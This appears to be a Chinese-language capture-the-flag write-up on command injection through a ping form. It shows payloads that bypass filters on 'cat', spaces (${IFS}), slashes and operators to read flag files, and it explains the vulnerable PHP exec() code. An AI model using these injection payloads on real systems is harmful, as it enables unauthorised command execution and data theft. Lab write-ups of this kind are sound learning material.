一、过滤cat
看到源代码发现会将cat过滤到
那我们就可以通过空变量绕过
127.0.0.1;ca${x}t flag_168662771031779.php
打开控制台发现代码里面出现了flag,即通过成功
二、过滤空格
- 因为空格会被过滤掉,所以我们直接不写空格
- 127.0.0.1|ls后看到了flag文件
- 过滤掉了空格,我们使用${IFS}去绕过,IFS是shell的特殊环境变量,是linux下内部域分隔符。$IFS中储存的值可以是空格、制表符、换行符或其它自定义符号
- 并没有出现ping的结果输出,所以我们F12查看源码,发现flag,题目解决
三、过滤分隔符
这段代码首先检查是否存在名为ip的GET参数,并且该参数的值不为空。如果满足条件,将获取GET参数ip的值赋给变量$ip。接着,创建一个空数组$m,然后通过正则表达式preg_match_all("/\//", $ip, $m)来检查$ip中是否包含斜杠/。如果$ip中不包含斜杠,则会执行以下操作:
- 构建一个ping命令,用于向指定IP地址发送4个数据包。
- 使用exec()函数执行该命令,并将结果存储在数组$res中。
如果$ip中包含斜杠,则直接将匹配结果存储在数组$res中。
127.0.0.1;cat flag_is_here;ls/
127.0.0.1;cd flag_is_here;cat flag_5024734519662.php
既然不能使用目录分隔符,那我们就先进入目录再去查看文件
127.0.0.1;cd flag_is_here;cat flag_5024734519662.php
回显空白,得到flag
四、过滤运算符
运算符都被过滤掉了,我们也可以使用;。
;可以执行多条语句
127.0.0.1;cat flag_224813101720269.php
回显空白,得到flag